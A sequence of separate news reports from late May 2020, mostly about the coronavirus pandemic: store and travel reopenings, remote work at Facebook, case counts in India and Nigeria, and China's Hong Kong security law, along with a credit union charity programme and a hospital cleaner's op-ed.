Nominations for American Eagles Cash Back to the Community funding runs from April 27-May 17, 2020, at americaneagle.org/cashbacktothecommunity. An organization only needs to be nominated once to be included on the second quarter ballot. Voting to decide the top three qualified nonprofit organizations takes place from June 7-June 21. The three recipients that received the most votes will be announced by the end of June.

American Eagles Cash Back to the Community donates 1% of its credit and debit card interchange income in each quarter to three nonprofit and/or 501(c)(3) organizations that receive the most votes from its members and the public.

Cash Back to the Community is a wonderful and effective way for our members and the general public to play an active role in our philanthropy efforts throughout Connecticut, said Dean Marchessault, president and chief executive officer of American Eagle Financial Credit Union. And, people have really taken to the program. Last quarter, nearly 160 organizations were nominated and 1,410 total votes were cast as we gave away nearly $21,000 to three worthy nonprofit organizations.

Funding for Cash Back to the Community is generated each time its members use an American Eagle Financial Credit Union credit or debit card. At the end of each quarter, one percent of the total interchange income - the fee paid for credit and debit card transactions - will be distributed to the three top qualified nonprofits.

Nominations and voting for Cash Back to the Community will be conducted via American Eagles website or social media sites, including Facebook, Twitter, Instagram and LinkedIn.

Early Childhood Collaborative in Southington, Furry Animals Being Saved Rescue in Tolland, and Friends of Feeney in West Hartford each received a donation of $6,847 for earning the most votes in AEFCUs first quarter Cash Back to the Community program.

For more information about American Eagle Financial Credit Union please visit www.americaneagle.org.
Photo credit: TonyBaggett - Getty Images

From House Beautiful

Ikea will reopen 19 stores across England and Northern Ireland from 1st June, the Swedish home furnishing retailer has confirmed.

Contact-free Click & Collect facilities in England, Wales and Northern Ireland will reopen in a phased approach, however, in line with government guidelines, stores in Scotland, Wales and the Republic of Ireland will remain closed.

Ikea confirms that its smaller London Planning Studios and Order & Collection Points will remain closed during first phase of reopening.

And Following the news earlier this year that IKEAs Coventry store would close in Summer 2020, the store will not re-open to customers and will now remain closed.

Which Ikea stores are reopening:

Greater London

Croydon

Greenwich

Lakeside

Wembley

Tottenham

East

Norwich (OCP)

Midlands

Birmingham

Nottingham

North West and NI

Belfast

Manchester

Warrington

North East

Gateshead

Leeds

Sheffield

South East

Milton Keynes

Reading

Southampton

South West

Bristol

Exeter

To keep in line with social distancing measures, Ikea is implementing a limited number of customers in store at any one time as well as social distancing wardens throughout stores; additional hand sanitiser facilities; screens at key areas; and contactless payment.

Ikea is advising customers who purely wish to return items, not to come to stores in the first instance  with a 365 day returns policy they are urging customers, where possible, to return items at a later date, when they will find it easier to do so.



'Were looking forward to warmly welcoming customers and co-workers back into our stores from 1st June. Their health and safety remains our top priority, and thats why weve put in place extensive measures to ensure the safety and comfort of customers and co-workers,' says Peter Jelkeby, UK & IE Country CEO and CSO. 'While the experience might be a little different to before  its the same Ikea, with the vision to "create a better everyday life for the many people", and the ambition to inspire people through our brilliant affordable range and home furnishing advice.'

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Throughout lockdown, Ikea has been supporting its local communities and the NHS by reopening four Swedish Food Markets to key workers  giving them access to essential items  and transforming its Gateshead and Wembley car parks into drive-through test centres so NHS staff could be tested for the virus.

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Since 1 April, I have worked as a cleaner in a Covid-19 ward at my local hospital. As I work to ensure the space is as safe and sanitary as possible, I also take time to reflect on the resilience of both patients and staff, and to listen to those around me. I would like to share some of these reflections with you.

It is now a well-known fact that a significant number of my colleagues  the cleaners, porters, security guards, and medical assistants  are immigrants. A fact Boris Johnson reminded us of when he offered a special tribute to Jenny from New Zealand and Luis from Portugal, two of the nurses who attended to him while he was hospitalised with Covid-19. At my local hospital, many of my colleagues are individuals who came to the UK from all around the world.

Cherry is British Caribbean. She loves reggae and R&B, and when her shift is over, she plays music and dances for patients to cheer them up. Cherry is a brilliant, full-time carer, and plans to go back to school to complete a nursing degree.

My supervisor, Albert, is British Ghanaian. He moved to the UK in the 1990s and has been working as a cleaner at the local hospital for 15 years. He is a straight-shooter, and has a process and a method for everything. Everything he does, he does for his two daughters.

Catharine is the ward Mama. She moved to London from Trinidad 26 years ago and has spent the vast majority of that time working in direct-service health care. There are no words to describe Catharines grace and kindness, and she has put in extra long hours so she can afford to send her daughter to university.

The time I spend at the hospital, surrounded by Cherrys and Alberts and Catharines, is an honour. It has also evoked something in me I have not felt since 2011, when I stood up with my fellow Syrians to peacefully protest the Assad regime. So, on Wednesday, when I read that the families of NHS support staff and social care workers who die of coronavirus would not be entitled to indefinite leave to remain, I knew I had to speak out and amplify the voices of my colleagues  fellow migrants, refugees, and NHS staff. I had to remind the government, and the public, that those who have thanklessly served as the backbone of the NHS for decades must be recognised and supported.

 You restored my faith: Hospital cleaner Hassan Akkad gives a message to British public

While the government has since reversed this decision, as well as making a U-turn on the immigration health surcharge, which now exempts all NHS and other care workers, it should not have taken almost two days of public outcry, in addition to consistent pressure from unions and politicians, for it to be decided that the lives of me and my colleagues may actually matter. And, although Im moved to see the public applaud the hard work of NHS staff and key workers every Thursday, I remain fearful that when we move beyond the height of this crisis, and the effects of punchy tweets subside, people whose job titles have arbitrarily been labelled as low skilled will be forgotten, especially those from migrant backgrounds. I fear that these workers will receive neither adequate pay nor the formalised support and recognition they are entitled to.

It is my hope that the current pandemic will serve as the final alarm, one that so many have been ringing for years, because we cannot yet again fall into the trap of selective memory, and forget and abandon. Rather, we must seize any growing sense of togetherness and work towards broad coalitions of support for marginalised and disenfranchised populations, both in the UK and around the world.

More than anything, what gets me through long shifts at the hospital is the same thing that got me through my near-three-month-long journey from Damascus to the UK  a drive to bring people together to rethink how we treat one another. The ability of migrant and working-class individuals to live lives of dignity, stability, and respect depends on it. I hope you will join me at the table.
Otters float in the marina at Morro Bay in San Luis Obispo County. San Luis Obispo County's health officer Dr. Penny Borenstein has asked tourists to not visit as the county reopens shops and restaurants this week. (Marc Martin/Los Angeles Times)

As more parts of California reopen, some officials are urging tourists to stay away  at least for now.

Dr. Penny Borenstein, San Luis Obispo Countys health officer, asked tourists to not visit as the county reopened many shops and restaurants this week.

While officials have performed spot checks with hotels to deter tourism, Borenstein said the county would cite visitors only in the case of egregious violations.

She said that before retail businesses can open their doors or restaurants can start offering dine-in service, they must perform a risk assessment, train their workers to counteract the spread of the virus and perform temperature checks on employees and, in some cases, patrons.

More than two-thirds of the state's 58 counties have received approval to more quickly reopen their economies as coronavirus-related restrictions continue to be loosened.

Those in Southern California that have received the green light to move deeper into Phase 2  clearing them to reopen restaurant dining rooms and more retail businesses for in-store shopping, with modifications  include San Diego , Kern, San Luis Obispo , Santa Barbara and Ventura counties, according to the state .

Local officials cheered the development, which will allow them to more broadly restart segments of their economies that have been shuttered under Californias stay-at-home order .

Other counties have expressed concern about tourists visiting and possibly bringing with them the coronavirus, especially during the Memorial Day weekend.

Remote Alpine County urged tourists to stay away when the virus began to spread through California in March.

Dr. Richard Johnson, the Alpine County public health officer, said last month theres no medical care to treat visitors who fall ill with COVID-19.

Theres no way we would even have ground or air resources to get them out, Johnson said. Its a dangerous assumption that you can come and look at us as a safe haven. It is an unsafe haven.

Story continues

Communities in the Lake Tahoe region, which heavily depend on tourism as well, have issued reminders before the holiday weekend warning that leisure travel is not permitted.

On its website, the city of South Lake Tahoe said that while second homeowners are now welcome , other visitors are still not. Lodging will not be available to short-term renters.

We would love nothing more than to welcome everyone to Tahoe right now, but thats not the safest way to bring people back to South Lake, City Manager Joe Irvin said in a statement. We need to be responsible and make sure we are doing our part to keep our neighbors safe and Tahoe safe while adhering to the governors stay at home orders.

As the number of coronavirus infections and related deaths plateau in the state and more of the economy reopens, many business leaders are hopeful the tourist trade will return.

Some experts have said a slow reopening of tourist spots with social distancing and other public health measures could work.

Los Angeles alone is expected to draw about 22 million fewer visitors this year and lose more than $13 billion in tourist spending because of the coronavirus outbreak.

A forecast commissioned by the Los Angeles Tourism and Convention Board estimates that Los Angeles County will draw about 29 million tourists this year, down from a pre-outbreak forecast of about 51 million.

Times staff writers Leila Miller, Hugo Martin, Jaclyn Cosgrove and Sarah Parvini contributed to this report.
Dr. Anthony Fauci, the top US expert on infectious diseases, has appeared on national TV for the first time in over two weeks to discuss the coronavirus outbreak.

During a CNN global town hall on Thursday, Fauci addressed his recent media absence and told CNN's Anderson Cooper and Sanjay Gupta that the media would "probably be seeing a little bit more" of him.

Fauci is considered to be one of the most trusted members of the White House's coronavirus response by the US public, and his absence from the public eye in recent weeks has been noted by observers.

Visit Business Insider's homepage for more stories.

Dr. Anthony Fauci, the director of the National Institute of Allergy and Infectious Diseases and a leading member of the White House coronavirus task force, has made his first national TV appearance in over two weeks, telling the public to expect to see more of him in the future.

According to CNN's senior media reporter, Oliver Darcy, before Thursday, Fauci had not made an appearance on national TV since May 4, when he appeared on "Cuomo Prime Time" to discuss the host Chris Cuomo's recovery from COVID-19.

On Thursday, Fauci appeared on CNN's global town hall to answer questions about the coronavirus outbreak.

The host Anderson Cooper addressed Fauci's extended media absence and said many people were eager for updates from him and other members of the coronavirus task force.

"There are certainly a lot of people who respect you and want to hear from you and Dr. Birx and other health professionals on a daily basis," Cooper said, referring to Dr. Deborah Birx, the task force's coordinator.

"Why aren't we hearing from the coronavirus task force on a daily basis anymore?" Cooper said, asking whether Fauci or the National Institutes of Health could hold briefings on the virus. "I think there are a lot of Americans out there who really still want to hear from scientists every day."

Story continues

Fauci responded, saying the media would "probably be seeing a little bit more of me and my colleagues."

"There was a period of time, there was a little lull in us being out there with the press, but I believe that's going to change," he said.

"We've been talking with the communications people, and they realize we need to get some of this information out, particularly some of the scientific issues, which I'm predominantly responsible for," Fauci added.

Fauci said the task force's role in providing daily information to the public had "changed a bit," and he said a subgroup of the task force's doctors met "much more often."

"The task force as a whole ... has been shifting somewhat," he added. "It's looking at the reopening, the economic impact, so there's more of an emphasis on that. But that's not to a diminution of the scientific issues."

Fauci is considered to be one of the most trusted members of the White House's coronavirus response by the US public, and his absence from the public eye in recent weeks has been noted by observers.

Fauci went into "modified quarantine" on May 10 after announcing he had "low risk" contact with a White House staffer who tested positive for COVID-19. Fauci addressed the Senate by video on May 13 and cautioned the country against reopening too quickly, which garnered a rebuke from some lawmakers and President Donald Trump, who accused him of wanting "to play all sides of the equation."

Though he has not made a public TV appearance, Fauci gave comments to The Washington Post about Trump's "Operation Warp Speed," which is Trump's plan to deliver a coronavirus vaccine in record time, and delivered a video message this week at a virtual med-school graduation.

Read the original article on Business Insider

Video: Trump praised Dr. Fauci prior to retweeting he should be fired
Activists say they will march to China Liaison Office, as democrats condemn move as end of Hong Kong.

Chinas plan to impose new national security laws on Hong Kong drew angry condemnation on Friday as activists in the city called for protests and President Donald Trump warned that the United States would react very strongly to the planned legislation.

Critics say the security law would destroy the one country, two systems framework that was agreed when China took back control of the self-governing Chinese territory in 1997 promising citizens rights and freedoms found nowhere else in the country.

While it was unclear whether a proposed march to Chinas Liaison Office would materialise, it was a reminder of the renewed risk of unrest in Hong Kong as protests begin to resume as the coronavirus recedes.

The legislation could also prove a turning point for the territory, intensifying geopolitical tensions between Beijing and Washington, whose relationship is already weakened by trade disputes and reciprocal accusations over the coronavirus pandemic.

It is starting to look like a US-China summer of discontent in the making, Stephen Innes, chief global market strategist at AxiCorp told Reuters news agency.

Speaking on Friday in his annual report to the Chinese parliament, Premier Li Keqiang said China would establish a sound legal system and enforcement mechanisms to ensure national security in Hong Kong and Macau, its other semi-autonomous city.

Li again promised that China would honour and implement the one country, two systems framework, but Al Jazeeras Adrian Brown said many wonder whether that is really the case.

We saw pictures of the Great Hall of the People during Lis speech and I think that is a reminder of where the real power now rests in Hong Kong; not in Hong Kongs legislature but in the Great Hall of the People in Beijing, Brown said.





It is essentially declaring directly that one country, two systems is null and a failure, Eric Cheung, principal lecturer at Hong Kong Universitys department of law, told Reuters.

The Hong Kong governments previous attempt to adopt national security legislation in 2003 was met with a protest that drew more than half a million people onto the streets and was eventually shelved.

Force and fear

Chinas latest move to impose the legislation comes after large-scale demonstrations in 2019 that became increasingly violent as the months wore on, creating the biggest crisis in the former British colony since the 1997 handover.

A draft of the legislation obtained by Reuters indicated that the proposed legislation requires the territory to quickly finish enacting national security regulations under its mini-constitution, the Basic law.

According to the legislation, Chinas parliament empowers itself to set up the legal framework and implementation mechanism to prevent and punish subversion, terrorism, separatism and foreign interference, or any acts that severely endanger national security.

Chinas parliamentary Vice Chairman Wang Chen is scheduled to give a speech explaining the new law later on Friday.

Hong Kong-based writer Antony Dapiran said the reference to endangering national security was significant.

Framing Hong Kongs democracy as a national security threat and invoking the spectre of foreign forces enables Beijing to justify their intervention as related to foreign affairs and defence, the only two areas (where) Beijing can technically interfere in Hong Kong, Dapiran wrote on Twitter.

Hong Kong Chief Executive Carrie Lam at the opening session of Chinas National Peoples Congress (NPC) in Beijing which will discuss the imposition of a new national security law in the semi-autonomous city [Ng Han Guan/Pool via EPA]

Pro-democracy activists and politicians have long opposed the idea of national security laws, and on Thursday night denounced the plans as the end of Hong Kong.

Beijing is attempting to silence Hong Kongers critical voices with force and fear, pro-democracy activist Joshua Wong tweeted. Deep down protesters know, we insist not because we are strong, but because we have no other choice.

International alarm

The introduction of Hong Kong security laws on the agenda of the Chinese parliament ahead of the annual session which began on Friday morning, drew a warning from US President Donald Trump that Washington would react very strongly.

The US State Department also warned China, saying a high-degree of autonomy and respect for human rights were key to preserving the territorys special status in US law, which has helped it maintain its position as a global financial centre. The citys stock market had plunged more than 3.5 percent by lunchtime on Friday.

The territorys last colonial governor, Chris Patten, also weighed in, telling the BBC that the UK should tell China the legislation is outrageous.

Mainland departments involved in defending national security will be able to set up in #HongKong, under the legislation Beijing is planning to add into Annex 3 of the Basic Law. Full story: https://t.co/ooEf5GUENO pic.twitter.com/s6BAVXFhV9  RTHK English News (@rthk_enews) May 22, 2020

Taiwans Mainland Affairs Council urged Beijing on Friday not to lead Hong Kong into bigger turmoil with the move. China claims the self-ruled democratic island as its own, proposing one country, two systems as a blueprint for its reunification.

Before the plans for the law were announced, Hong Kongs democracy movement was already under pressure with 15 people, including some of the territorys most prominent politicians charged this week for organising and taking part in the protests.

Meanwhile, an Independent Police Complaints Council (IPCC) report into the police handling of the demonstrations absolved the organisation of blame saying force was necessary because of the illegal action by protesters and warning them not to use allegations of police brutality as a political weapon.

There have also been scuffles in the citys Legislative Council between pro-Beijing and pro-democracy members ahead of a debate next week on a controversial bill related to Chinas national anthem.

Speaking to Al Jazeera before plans for the national security legislation were announced on Thursday, Steve Tsang, director at the China Institute at SOAS in London, said the prospects for Hong Kong were increasingly bleak.

Its one country, Xi system, he said. Its worse than one country, one system under Jiang Zemin (Chinas president at the time of the handover). Its about Xi Jinping, not just the Chinese system as it was in 1997.
EDWARDSVILLE  While the coronavirus pandemic forced the cancellation of many traditional graduation ceremonies, the Intelligencer still looks to celebrate area high school seniors.

More than 50 high school seniors were photographed throughout May to be featured in our Senior Spotlight. The initiative aims to capture lasting memories for high school seniors amidst unusual times due to the pandemic.

Coordination was key in making this project a success, said Brittany Johnson, managing editor. Johnson worked with reporter Tyler Pletsch to coordinate efforts to help the project go according to plan. Though we came up with the idea, the community made it happen.

While practicing social distancing, seniors displayed everything from a cap and gown to sporting gear to photos of a loved one in their senior portrait.

Thomas J. Turney, a photographer for the Intelligencer, said the project is one to remember.

I would like to express my thanks for all your patience, and for helping to make long days of shooting not only productive, but enjoyable, he said. I found your enthusiasm and kindness by both you and your parents towards me and my assistant  who is actually my wife  delightful.

Over the years, I have photographed more high school graduations and sporting events then I can count, not to mention a few proms, and general school events, but feel this project will be one I shall never forget, he said.

Since traditional ceremonies cant be conducted, schools are still planning ways to honor graduates. Some schools are looking to online commencements, others have hosted drive-thru events and at least one school hosted a downtown cruise.

While the photos cannot replace a traditional ceremony, the Intelligencer launched the initiative to recognize the importance of the milestone for the Class of 2020.

As you move on toward the next chapters of your lives, I wish you all the best of luck and hope you meet such people as yourselves as you work in your own professions, Turney added.
With Facebook's adoption of permanent remote work on Thursday, Chief Executive Mark Zuckerberg has untethered one of Silicon Valley's biggest companies from the place that incubated it.

But he also dashed a Silicon Valley dream: that tech workers would be able to take their generous salaries with them as they flee the Bay Area's crushing housing costs, dirty sidewalks and crowded roadways.

As lockdown dragged into their third month, message boards popular with well-paid tech workers have lit up with fantasies of working long-term from tropical beaches and spacious houses in affordable small towns in the Midwest.

"Does that mean I could apply for a job in Silicon Valley and work remotely from, say, the Caribbean? Asking for a friend," wrote one user on Blind, an app designed to let workers swap information anonymously.

Afraid not, Zuckerberg said, addressing employees in a publicly broadcast livestream on his Facebook page.

COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine  one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show

The company, one of Silicon Valley's biggest employers, is giving US staffers who are approved to work remotely until January 1, 2021 to update the company on where they plan to base themselves, at which point their salaries will be adjusted to reflect the local cost of living.

Zuckerberg said he expects half of Facebook's workforce to take him up on the offer over the next five to 10 years.

Employees who attempt to wiggle around those compensation adjustments will be subject to "severe ramifications," he said, as the company needs to account for employee locations to avoid violating tax laws.

Zuckerberg said Facebook will monitor adherence by checking where employees access its VPN. Facebook also uses its own apps' to track employee locations, according to CNBC, one time using the data to find interns who failed to show up for work.

Even as many tech workers dream of a future in low-tax states, others on message boards fret about how the shift to remote work could exert downward pressure on salaries across the board and warn that being far from headquarters could steepen the climb up the corporate ladder.

One former Facebook employee, who in his 20s lived in Silicon Valley's suburbs for the short commute, said the change would open up opportunities even for employees who stay in California.

"A 25-year-old maybe would rather be in San Francisco, while someone looking to raise a family might prefer to move outside the city," he said.

A Facebook spokesman said the company was not planning layoffs, compulsory moves or salary adjustments for employees who opt to stay in the Bay Area.

If the experiment is successful, Facebook's move could prompt other tech giants to compete for engineering talent by embracing remote work - and other states to compete for Californians.

"The warm, sunny states with affordable housing and zero taxes will see an influx of educated, rich workers. States will need to cut taxes to keep up," Chamath Palihapitiya, the chief executive of venture capital firm Social Capital and an early executive at Facebook, said on Twitter.

The biggest loser, he predicted, would be California.
An official of the National Disaster Response Force (NDRF) has been found positive for coronavirus, the first case such being detected in the federal contingency force, officials said on Friday.

They said the sub-Inspector rank official was on leave and had gone to a doctor for some dental treatment, following which his COVID-19 test was done.

The NDRF official has been admitted to an isolation ward in the Central Armed Police Forces (CAPFs) Referral hospital in Greater Noida on Thursday.

The official is posted in the headquarters of the force here and was on deputation from the Sashastra Seema Bal (SSB), they said.

The NDRF, raised in 2006, is a 12-battalion strong force of the central government for disaster response and its over 40 teams are currently deployed in Odisha and West Bengal for relief and rescue works in the wake of cyclone 'Amphan'.

The CAPFs, which comprises CRPF, ITBP, BSF, CISF and SSB, reported 43 fresh cases since Thursday.

The Border Security Force (BSF) reported 24 fresh cases on Friday, out of which seven personnel are posted at the headquarters of the about 2.5-personnel strong paramilitary in Delhi.

"All the fresh cases have been reported from Delhi and they work in various establishments of the force."



"These personnel were the primary or secondary contacts of earlier detected positive staffers and were not working in the office and were already in quarantine," a BSF spokesperson said.

As and when test results are coming, they are either being detected positive or negative for COVID-19, he said.

The Pakistan and Bangladesh borders guarding force has a total 108 active cases, while 277 of its troops have recovered.

The airports guarding force Central Industrial Security Force (CISF) also reported 13 fresh cases with four reported from its unit deployed to guard the Bokaro steel plant in Jharkhand.

The about 1.62-lakh personnel strength force has a total of 100 active coronavirus cases while 71 have recovered from the disease.

The Central Reserve Police Force (CRPF), country's largest with 3.25 lakh personnel, reported five fresh cases and its overall active cases tally is 125 personnel.

A total of 213 CRPF personnel have recovered till now.

The Indo-Tibetan Border Police, tasked to guard the 3,488 km Line of Actual Control with China, had one fresh case, taking its total active cases tally to 105. A total of 82 of its personnel have recovered till now.

The Sashastra Seema Bal (SSB), guarding the open Indian fronts with Nepal and Bhutan, has 30 active cases.

A personnel of the elite counter-terrorist force, NSG, has also been infected with the disease early this month.

The five CAPFs, National Security Guard (NSG) and the NDRF work under the command of the union home ministry.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
(CNN) -- Since the Great Recession following the 2008 financial crisis, China and India have powered much of the world's economic growth. Now, activity in both countries has plunged, raising the risk of a prolonged global slump.

What's happening: China said Friday that it could not set a target for economic growth this year  a sign of how much uncertainty the coronavirus pandemic has caused the world's second largest economy.

China has set such targets for decades. Last year, Beijing targeted growth in the range of 6% to 6.5%. GDP grew 6.1%, its slowest pace in nearly 30 years.

Meanwhile, Shaktikanta Das, the governor of the Reserve Bank of India, said Friday that the country's economy wouldn't grow at all in the current fiscal year, which ends in March 2021. The last time India's economy shrank over the course of a year was in 1979.

These announcements cast further doubt on the ability of the global economy to recover from its deepest downturn since the Great Depression.

Bank of America continues to slash its economic forecasts, it told clients Friday. The bank now predicts that the global economy will shrink by 4.2% this year, down from a 2.7% contraction it forecast six weeks ago. The IMF predicted in April that global output would contract by 3% in 2020.

The deteriorating relationship between the United States and China is giving investors even more reason to worry.

Eye on Hong Kong: Global stocks tumbled Friday after news broke that Beijing would pass a controversial national security law, the biggest blow to the city's autonomy since its handover to China in 1997. Hong Kong's Hang Seng Index notched its worst performance since July 2015.

The US State Department has condemned the move, warning that "any effort to impose national security legislation that does not reflect the will of the people of Hong Kong" would be met with an international response.

Tensions had already been running high, with Beijing and Washington trading criticism over the handling of the coronavirus pandemic.

Watch this space: Chinese stocks have become a flashpoint. On Wednesday, the US Senate unanimously passed a bill that would prevent companies that refuse to open their books from listing on Wall Street. The bill's bipartisan cosponsors said the goal is to "kick deceitful Chinese companies off US exchanges."

Coronavirus could end Silicon Valley as we know it

The Silicon Valley of the past decade may be on its way out as remote work becomes the new normal.

First came Twitter's pronouncement earlier this month that some employees would be able to continue working from home "forever."

The company said the experience of working from home during the pandemic has shown that it can be adopted at scale.

"If our employees are in a role and situation that enables them to work from home and they want to continue to do so forever, we will make that happen," Twitter's vice president of people, Jennifer Christie, in a statement to CNN Business. "If not, our offices will be their warm and welcoming selves, with some additional precautions, when we feel it's safe to return."

Facebook CEO Mark Zuckerberg said Thursday that as many as 50% of employees could be working remotely within the next five to 10 years.

Zuckerberg pitched the idea as both a matter of keeping employees happy and creating "more broad-based economic prosperity."

"When you limit hiring to people who live in a small number of big cities, or who are willing to move there, that cuts out a lot of people who live in different communities, have different backgrounds, have different perspectives," Zuckerberg said on a livestream.

What it means: US tech companies have fared far better than most firms during the pandemic. Demand for cloud services has shot up, and employees were already used to working from home. Now tech leaders may reconsider all the money they spend maintaining their high-end campuses, which had been a key perk for employees  and a symbol of Silicon Valley's prosperity.

Remember Brexit? Why the UK recession could be really bad

As nations around the world attempt to dig their way out of a cataclysmic global recession, Britain is in a particularly tight spot of its own making.

The country is in the middle of an economic disaster and a health crisis. The Bank of England has predicted that the United Kingdom is heading for its worst economic crash in more than 300 years, while its death toll from Covid-19 is the highest in Europe.

Yet the United Kingdom is also racing toward a self-imposed deadline to construct a post-Brexit trade agreement with the European Union, its single biggest market for exports, by the end of the year. Talks are not going well  raising the possibility of another major shock just as the expected economic recovery gains momentum.

"The whole of the advanced world is in recession because of the coronavirus," Kallum Pickering, senior economist at Berenberg Bank, told me. "But the UK has an additional problem of the UK-EU negotiations in the second half of the year."

Concerns about Brexit could weigh on household spending, which accounts for around 70% of GDP in the UK, Pickering said. That could limit the impact of government relief efforts.

This just in: Attempting to stem the vast economic damage, the UK government borrowed 62.1 billion ($75.7 billion) in April, the highest level since records began in 1993.

Up next

Alibaba and Foot Locker report results before US markets open.

Coming next week: US and UK markets are closed Monday.

This story was first published on CNN.com, "China and India have fueled global growth for years. That engine has stalled."


WASHINGTON (dpa-AFX) - JetBlue Airways said it will continue to block middle seats in rows where passengers are not traveling together through the July 4 holiday.



JetBue will block middle seats on its Airbus aircraft, while it will block aisle seats on its smaller Embraer 190 aircraft. Customers traveling together will be allowed to sit in the middle and aisle seats.



The airline said it will continue its seat distancing program, which is part of its 'more space, fewer touchpoints' focus, on flights through at least July 6.



However, JetBlue noted that even with blocked seats, it was challenging to maintain six feet of distance between everyone on board an aircraft and so it requires face coverings for customers.



JetBlue was the first airline in the U.S. to require all passengers to wear face coverings during travel, in an effort to curb the spread of COVID-19. The new policy went into effect from May 4.



JetBlue's announcement comes as airlines strive to regain the public's confidence in air travel by implementing social distancing as well as cleaning and safety protocols amid the coronavirus pandemic.



'As communities start to reopen and with summer travel kicking off this weekend, more people are beginning to fly and we want them to feel safe on JetBlue,' said Joanna Geraghty, president and chief operating officer, JetBlue.



As part of the airline's multi-layered 'Safety from the Ground Up' program, Jet Blue will roll out temperature monitoring for its flight and in-flight crew members and electrostatic aircraft fogging in June.



JetBlue said its safety program is focused on four areas - healthy crew members; clean air and surfaces; more space, fewer touchpoints; and travel flexibility.



To ensure the health and safety of its 23,000 crew members, the airline will require face coverings for all crew members while boarding, in flight, and when physical distancing cannot be maintained.



JetBlue will also conduct more frequent disinfecting of common surfaces like kiosks as well as counters inside its airport terminals and provide hand sanitizer throughout terminals.



Further, the airline will provide touchless check-in and boarding using the JetBlue mobile app, self-boarding gates for many of its flights, and implement a back-to-front boarding process for customers to minimize passing in the aisle.



Copyright RTT News/dpa-AFX

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Despite a daily increase in cases of coronavirus in Nigeria, some state governors have been lifting the ban on public gathering, which they imposed at the outset of the pandemic to reduce the risk of transmission by physical contacts among people.

Due to the coming Eid-ul-Fitri festival, many state governors have lifted the ban on social gatherings, with alarmed observers saying the development could draw back the fight against the pandemic in Nigeria.

As of Thursday night, the NCDC put the number of COVID-19 cases in the country at over 7,000. Some believe the figure would be much higher with more testing.

Even at that, various state authorities are showing signs of being overwhelmed by these figures.

Lagos, Nigerias epicentre of the disease with over 3,000 cases, said it plans to launch a home treatment policy as well as discharge yet-to-recover patients.

Kano has also told patients with mild symptoms to quarantine at home. Supervision of such patients has been almost nonexistent, residents say.

In his address at the COVID-19 task force briefing on Thursday, NCDC boss, Chikwe Ihekweazu, reiterated that COVID-19 is transmitted by droplets or contact with infected persons.

The susceptibility of people in large gatherings to these modes of transmission is high, experts say. This is why federal authorities and the global health agency, WHO, have advised that social and religious gatherings be discouraged.

But moments after the COVID-19 task force placed a two-week lockdown extension on Nigerias second most hit state, Kano, Governor Abdullahi Ganduje said congregational prayers in mosques and churches could resume but with physical distancing rules obeyed.

Mr Gandujes spokesperson, Salihu Tanko, said the governors decision was based on recommendations by 30 Islamic scholars in the state, a statement countered by the Kano State Council of Ulamas.

The head of the council, Ibrahim Khalil, said the government has let down the guards too soon, adding that had the government consulted the council, it would have told it to give priority to the health of the people.

Taraba State

In a state-wide broadcast in Jalingo by Deputy Governor Haruna Manu, Monday, the Taraba State government also announced the resumption of religious gatherings in the state.

Like Kano, Mr Manu also said the observance of physical distancing and other safety protocols must be strictly adhered to.

He also announced a slight ease on the restriction of movement and other activities in the state.

Taraba has 18 cases so far.

Nasarawa State

Nasarawa State information commissioner, Dogo Shammah, Tuesday announced a lift on the ban on religious gathering.

He said the directive would run for two weeks, after which, depending on the level of compliance, it would be reviewed.

The states infection cases reached 38 on Thursday.

Bauchi State

On Wednesday, Bauchi State governor, Bala Mohammed, relaxed the restrictions on public places in the state, in view of the coming Eid (post-Ramadan fast festival).

Mr Mohammed said his decision was informed by the recent declaration by the WHO that the disease may not go soon and also the fact that other states in the north-east sub-region have lifted the ban.

Mr Mohammed said his state has been able to flatten the COVID-19 curve.

While it is true that cases recorded in the state consistently remained in single digits this week, the states tally has nearly tripled in the last two weeks. As of May 7, Bauchi had 83 cases. By May 21, the figure had reached 228, the fifth highest in Nigeria.

NCDC Chief Ihekweazu, earlier in the week, also warned that fall in cases does not mean flattening of the curve. Flattening the curve, he said, means a consistent fall in cases over weeks and even months.

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Borno State

At 227 cases of COVID-19, Borno State is just one case shy of Bauchis. Last week, the state government suspended lockdown indefinitely.

The lockdown will be suspended indefinitely to study the situation for the time being, and where the situation escalates the government would revert its stance, it said in a statement.

It added that public gathering must not exceed 20 people, yet Jummaat prayers and the five daily prayers shall be observed in all mosques, likewise churches should conduct services and all shall observe strict adherence with social distancing and the use of face mask.

Katsina State

Ahead of the Eid festival, Katsina State Governor Aminu Masari issued a lockdown relaxation order between Monday and Sunday May 24.

The relaxation of the lockdown order is to be observed within local government areas (LGAs), while the ban on movements across LGAs remain in force, his spokesperson, Mustapha Inuwa, said in a statement Monday.

With 303 cases, Katsina has the fourth highest number of coronavirus cases in Nigeria. On Monday, it recorded 33 new ones, but none on Tuesday and Wednesday. However, on Thursday, it added 22 patients to its tally.

Pressure to relax lockdown

The chairman of the Christian Association of Nigeria (CAN), Kaduna State chapter, John Hayab, earlier in the week appealed to Governor Nasir El-Rufai to relax the lockdown in the state. The same appeal was made by the states Council of Imams and Ulamas.

Mr Hayab urged the governor to relax the lockdown on Fridays and Sundays as doing so on those days would be used by adherents of both religions to achieve positive results.

But a Kano-based medical practitioner, Maryam Shuaibu, warned that allowing religious gatherings at this period of uncertainty may lead to an increase in the number of COVID-18 cases.

It may not be possible to maintain physical distancing in the worship centres, she noted.

The Kaduna government has, for now, not relaxed the ban on large gatherings in the state.

